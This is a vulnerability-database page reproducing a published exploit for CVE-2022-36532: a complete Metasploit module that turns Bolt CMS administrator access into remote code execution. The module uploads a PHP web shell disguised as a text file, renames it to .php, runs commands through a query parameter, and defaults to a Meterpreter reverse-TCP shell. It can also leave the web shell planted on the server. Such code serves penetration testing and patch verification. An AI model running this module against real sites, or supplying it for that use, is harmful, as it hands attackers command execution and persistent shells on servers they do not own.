Lucene search
+L

Bolt CMS 5.1.12 Authenticated File Rename Remote Code Execution

🗓️ 04 Nov 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 11 Views

Authenticated administrator can rename files to .php via file-edit for RCE in Bolt CMS.

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2022-36532
1 Nov 202614:52
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2022-36532
5 Sep 202207:39
–githubexploit
attackerkb
attackerkb
CVE-2022-36532
16 Sep 202203:15
–attackerkb
circl
Circl
CVE-2022-36532
1 Nov 202619:00
–circl
cnnvd
CNNVD
Bolt Financial Bolt CMS security vulnerability
16 Sep 202200:00
–cnnvd
checkpoint_advisories
Check Point Advisories
Bolt CMS Arbitrary File Upload (CVE-2022-36532)
22 Nov 202200:00
–checkpoint_advisories
cve
CVE
CVE-2022-36532
16 Sep 202202:26
–cve
cvelist
Cvelist
CVE-2022-36532
16 Sep 202202:26
–cvelist
kitploit
Kitploit
CVE-2022-36532
7 Nov 202603:48
–kitploit
mend
Mend
CVE-2022-36532
16 Sep 202202:26
–mend
Rows per page
==================================================================================================================================
| # Title     : Bolt CMS 5.1.12 Authenticated File Rename RCE                                                                    |
| # Author    : indoushka                                                                                                        |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 159.0 (64 bits)                                                   |
| # Vendor    : https://boltcms.io/                                                                                              |
==================================================================================================================================

[+] Summary : Bolt CMS <= 5.1.12 allows an authenticated administrator to upload a file through the file manager, then rename it via the file-edit endpoint to a .php extension.

[+] POC    : 

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'securerandom'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Bolt CMS Authenticated File Rename RCE (CVE-2022-36532)',
      'Description'    => %q{
        Bolt CMS <= 5.1.12 allows an authenticated administrator to upload a
        file through the file manager, then rename it via the file-edit
        endpoint to a .php extension. The uploaded PHP code is then served and
        executed under the web server account.

        The chain:
          1. GET  /bolt/login                — read the login CSRF token
          2. POST /bolt/login                — authenticate as administrator
          3. GET  /bolt/filemanager/files    — read the file-manager CSRF token
          4. POST /bolt/async/upload         — upload PHP as a .txt file
          5. GET  /bolt/file-edit/files      — read the file-edit CSRF token
          6. POST /bolt/file-edit/files      — rename .txt to .php, write PHP
          7. GET  /files/<name>.php?c=<cmd>  — execute the PHP

        The module supports command execution (CMD) and reverse shells
        (PAYLOAD). It also supports cleanup via /bolt/async/delete.

        CVE-2022-36532, adapted from the original PoC by v0rtex.
      },
      'Author'         => [ 'indoushka' ],
      'License'        => MSF_LICENSE,
      'References'     => [
        [ 'CVE', '2022-36532' ],
        [ 'URL', 'https://github.com/bolt/core' ],
        [ 'CWE', 'CWE-434' ],
        [ 'CWE', 'CWE-22' ]
      ],
      'DisclosureDate' => '2022-07-15',
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [['PHP Payload', {}]],
      'DefaultTarget'  => 0,
      'Privileged'     => false,
      'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }
    ))

    register_options([
      Opt::RPORT(80),
      OptBool.new('SSL', [false, 'Use SSL', false]),
      OptString.new('TARGETURI', [true, 'Base path to Bolt CMS', '/']),
      OptString.new('USERNAME', [true, 'Administrator username']),
      OptString.new('PASSWORD', [true, 'Administrator password']),
      OptBool.new('KEEP_PAYLOAD', [false, 'Do not delete the uploaded PHP', false]),
      OptInt.new('TIMEOUT', [true, 'HTTP timeout in seconds', 15])
    ])
  end

  LOGIN_PATH        = '/bolt/login'
  FILEMANAGER_PATH  = '/bolt/filemanager/files'
  UPLOAD_PATH       = '/bolt/async/upload'
  FILE_EDIT_PATH    = '/bolt/file-edit/files'
  DELETE_PATH       = '/bolt/async/delete'
  FILES_PREFIX      = '/files/'

  LOGIN_TOKEN_RE    = /name="login\[_token\]" value="(.*?)"/
  CSRF_RE           = /type="hidden" name="_csrf_token" value="(.*?)">/
  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, 'bolt', 'login')
    }, datastore['TIMEOUT'])

    return Exploit::CheckCode::Unknown unless res
    if res.code == 200 && res.body =~ /bolt/i
      return Exploit::CheckCode::Detected
    end
    Exploit::CheckCode::Safe
  end
  def exploit
    print_status("Target: #{full_target}")
    login_token = fetch_login_token
    authenticate(login_token)
    csrf = fetch_csrf(FILEMANAGER_PATH)
    name = SecureRandom.hex(15)
    txt  = "#{name}.txt"
    php  = "#{name}.php"

    print_status("Step 4 — uploading PHP as #{txt}")
    upload_file(csrf, txt)
    csrf = fetch_csrf("#{FILE_EDIT_PATH}?file=/#{txt}")
    print_status("Step 6 — renaming #{txt} -> #{php} and writing payload")
    rename_to_php(csrf, txt, php)
    shell_url = normalize_uri(target_uri.path, FILES_PREFIX, php)
    print_status("Step 7 — triggering #{shell_url}")

    if payload_is_php?
      trigger_php_payload(shell_url)
    else
      trigger_command(shell_url)
    end
    unless datastore['KEEP_PAYLOAD']
      cleanup_php(php)
    else
      print_warning("KEEP_PAYLOAD=true — webshell left at #{shell_url}?c=<cmd>")
    end
  end
  def fetch_login_token
    print_status('Step 1 — fetching login CSRF token')
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, 'bolt', 'login')
    }, datastore['TIMEOUT'])

    fail_with(Failure::Unreachable, 'No response from login page') unless res
    fail_with(Failure::UnexpectedReply, "Login page HTTP #{res.code}") unless res.code == 200

    match = res.body.match(LOGIN_TOKEN_RE)
    fail_with(Failure::UnexpectedReply, 'Login token not found') unless match

    token = match[1]
    print_good("Login token: #{token[0, 16]}...")
    token
  end
  def authenticate(login_token)
    print_status('Step 2 — authenticating')

    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, 'bolt', 'login'),
      'ctype'     => 'application/x-www-form-urlencoded',
      'vars_post' => {
        'login[username]'    => datastore['USERNAME'],
        'login[password]'    => datastore['PASSWORD'],
        'login[remember_me]' => '1',
        'login[_token]'      => login_token
      }
    }, datastore['TIMEOUT'])

    fail_with(Failure::Unreachable, 'No response from login POST') unless res
    if res.code >= 400 || (res.headers['Location'] || '').include?('login')
      fail_with(Failure::NoAccess, "Login failed: HTTP #{res.code}")
    end

    print_good('Login accepted')
  end
  def fetch_csrf(path)
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, path)
    }, datastore['TIMEOUT'])

    fail_with(Failure::Unreachable, "No response from #{path}") unless res
    fail_with(Failure::UnexpectedReply, "#{path} returned HTTP #{res.code}") unless res.code == 200

    match = res.body.match(CSRF_RE)
    fail_with(Failure::UnexpectedReply, "CSRF token not found at #{path}") unless match

    match[1]
  end
  def upload_file(csrf, filename)
    boundary = "----WebKitFormBoundary#{SecureRandom.hex(8)}"

    php_content = <<~PHP
      <?php
      if (isset($_REQUEST['c'])) {
        $c = $_REQUEST['c'];
        if (function_exists('system'))        { system($c); }
        elseif (function_exists('passthru'))   { passthru($c); }
        elseif (function_exists('shell_exec')) { echo shell_exec($c); }
        elseif (function_exists('exec'))       { exec($c, $o); echo implode("\\n", $o); }
        elseif (function_exists('popen'))      { $h = popen($c, 'r'); while (!feof($h)) { echo fread($h, 4096); } pclose($h); }
        else                                    { echo 'no exec function'; }
      }
      ?>
    PHP

    body = [
      "--#{boundary}",
      'Content-Disposition: form-data; name="_csrf_token"',
      '',
      csrf,
      "--#{boundary}",
      "Content-Disposition: form-data; filename=\"#{filename}\"",
      '',
      php_content,
      "--#{boundary}--",
      ''
    ].join("\r\n")

    res = send_request_cgi({
      'method'  => 'POST',
      'uri'     => normalize_uri(target_uri.path, UPLOAD_PATH),
      'vars_get' => { 'location' => 'files', 'path' => '/' },
      'ctype'   => "multipart/form-data; boundary=#{boundary}",
      'data'    => body
    }, datastore['TIMEOUT'])

    fail_with(Failure::Unreachable, 'No response from upload') unless res

    uploaded = parse_upload_response(res.body, filename)
    fail_with(Failure::UnexpectedReply, "Upload failed: #{res.body[0, 200]}") unless uploaded

    print_good("Uploaded #{filename}")
  end

  def parse_upload_response(body, default_name)
    json = JSON.parse(body) rescue nil
    if json.is_a?(String)
      return json
    elsif json.is_a?(Hash)
      if json['files'].is_a?(Array) && !json['files'].empty?
        return json['files'][0]['name'] || default_name
      end
      fail_with(Failure::UnexpectedReply, "Upload error: #{json['error']}") if json['error']
    end
    default_name if body.include?(default_name)
  end
  def rename_to_php(csrf, txt, php)
    php_content = <<~PHP
      <?php
      if (isset($_REQUEST['c'])) {
        $c = $_REQUEST['c'];
        if (function_exists('system'))        { system($c); }
        elseif (function_exists('passthru'))   { passthru($c); }
        elseif (function_exists('shell_exec')) { echo shell_exec($c); }
        elseif (function_exists('exec'))       { exec($c, $o); echo implode("\\n", $o); }
        elseif (function_exists('popen'))      { $h = popen($c, 'r'); while (!feof($h)) { echo fread($h, 4096); } pclose($h); }
        else                                    { echo 'no exec function'; }
      }
      ?>
    PHP
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, FILE_EDIT_PATH),
      'vars_get'  => { 'file' => "/#{php}" },
      'vars_post' => {
        'file'         => txt,
        'location'     => 'files',
        '_csrf_token'  => csrf,
        'editfile'     => php_content,
        'save'         => ''
      }
    }, datastore['TIMEOUT'])

    fail_with(Failure::Unreachable, 'No response from rename') unless res
    print_status("Rename response: HTTP #{res.code}")
    unless res.code == 200 || res.code == 302
      fail_with(Failure::UnexpectedReply, "Rename failed: HTTP #{res.code}")
    end

    print_good("Renamed #{txt} -> #{php}")
  end
  def trigger_php_payload(shell_url)
    php_b64 = Base64.strict_encode64(payload.encoded)
    cmd = "echo #{php_b64} | base64 -d > /tmp/msf_payload.php; php /tmp/msf_payload.php"

    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => shell_url,
      'vars_get' => { 'c' => cmd }
    }, datastore['TIMEOUT'])

    fail_with(Failure::Unreachable, 'No response from trigger') unless res
    print_status("Trigger response: HTTP #{res.code}")
    print_line(res.body.to_s[0, 300]) if res.body && res.body.bytesize > 0
  end

  def trigger_command(shell_url)
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => shell_url,
      'vars_get' => { 'c' => payload.encoded }
    }, datastore['TIMEOUT'])

    fail_with(Failure::Unreachable, 'No response from trigger') unless res
    print_status("Trigger response: HTTP #{res.code}")
    print_line(res.body.to_s[0, 500]) if res.body && res.body.bytesize > 0
  end
  def cleanup_php(php)
    print_status("Cleanup — deleting #{php}")
    csrf = fetch_csrf(FILEMANAGER_PATH)

    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, DELETE_PATH),
      'vars_post' => {
        'location'    => 'files',
        'path'        => '/',
        'files[]'     => php,
        '_csrf_token' => csrf
      }
    }, datastore['TIMEOUT'])

    if res && res.code == 200
      print_good("Deleted #{php}")
    else
      print_warning("Could not delete #{php}; remove it manually from /files/#{php}")
    end
  rescue StandardError => e
    print_warning("Cleanup failed: #{e.message}")
  end
  def payload_is_php?
    framework.payloads[datastore['PAYLOAD']].is_a?(Msf::Payload::Php)
  end
  def full_target
    scheme = datastore['SSL'] ? 'https' : 'http'
    "#{scheme}://#{rhost}:#{rport}"
  end
end
	
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Nov 2026 00:00Current
8.4High risk
Vulners AI Score8.4
CVSS 3.18.8
EPSS0.25582
11